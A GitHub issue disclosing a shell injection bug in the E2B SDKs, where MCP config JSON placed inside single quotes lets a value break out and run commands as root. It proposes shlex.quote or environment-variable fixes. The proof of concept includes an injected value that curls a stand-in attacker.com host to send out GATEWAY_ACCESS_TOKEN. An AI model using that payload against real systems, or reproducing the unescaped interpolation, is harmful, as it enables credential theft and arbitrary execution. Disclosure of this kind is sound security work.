Skip to content

Bug: Shell command injection via single-quote breakout in MCP config JSON interpolation #1154

@marlonbarreto-git

Description

@marlonbarreto-git

Description

When creating a sandbox with an mcp config, both the Python and JS/TS SDKs interpolate json.dumps(mcp) / JSON.stringify(mcp) directly into a shell command wrapped in single quotes. Since json.dumps() does not escape single quotes in string values, any MCP config containing a single quote in a value (e.g., an API key, token, or URL) breaks out of the shell quoting and allows arbitrary command execution as root inside the sandbox.

Affected Code

Python SDK (packages/python-sdk/e2b/sandbox_async/main.py, line 214):

res = await sandbox.commands.run(
    f"mcp-gateway --config '{json.dumps(mcp)}'",
    user="root",
    envs={"GATEWAY_ACCESS_TOKEN": token},
)

Same pattern at 4 locations in Python SDK (sandbox_async/main.py:214, sandbox_async/main.py:579, sandbox_sync/main.py:211, sandbox_sync/main.py:580).

JS SDK (packages/js-sdk/src/sandbox/index.ts, lines 301 and 396):

`mcp-gateway --config '${JSON.stringify(sandboxOpts?.mcp)}'`,

Proof of Concept

import json

mcp = {"servers": {"test": {"envs": {"KEY": "it's a value"}}}}
cmd = f"mcp-gateway --config '{json.dumps(mcp)}'"
print(cmd)
# Output: mcp-gateway --config '{"servers": {"test": {"envs": {"KEY": "it's a value"}}}}'
#                                                                   ^^ breaks out of single-quote

Exploitation:

mcp = {"servers": {"x": {"apiKey": "x'; curl attacker.com/exfil?t=$GATEWAY_ACCESS_TOKEN; echo '"}}}
# Shell parses: mcp-gateway --config '{...x' && curl attacker.com/exfil?... && echo '...'

Impact

  • Arbitrary command execution as root inside the sandbox
  • Potential exfiltration of GATEWAY_ACCESS_TOKEN environment variable
  • The McpServer TypedDict accepts dozens of user-supplied string fields (personalAccessToken, apiKey, password, url, etc.) that naturally may contain special characters

While commands run inside the E2B sandbox (limiting blast radius), the injection still allows:

  1. Modifying sandbox state before the user interacts with it
  2. Exfiltrating environment variables and credentials
  3. If allow_internet_access=True (default), sending data externally

Proposed Fix

Option A — Use shlex.quote() (Python) / proper shell escaping (JS):

import shlex
res = await sandbox.commands.run(
    f"mcp-gateway --config {shlex.quote(json.dumps(mcp))}",
    user="root",
    envs={"GATEWAY_ACCESS_TOKEN": token},
)

Option B — Pass config via environment variable instead of CLI argument:

res = await sandbox.commands.run(
    "mcp-gateway",
    user="root",
    envs={
        "GATEWAY_ACCESS_TOKEN": token,
        "MCP_CONFIG": json.dumps(mcp),
    },
)
Option A Option B
Complexity Minimal Requires mcp-gateway change
Shell injection risk Eliminated Eliminated
Breaking changes None Requires mcp-gateway to read env var

Environment

  • Python SDK: latest
  • JS SDK: latest
  • Files: sandbox_async/main.py, sandbox_sync/main.py, sandbox/index.ts

I'm happy to open a PR for this fix if you'd like.

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions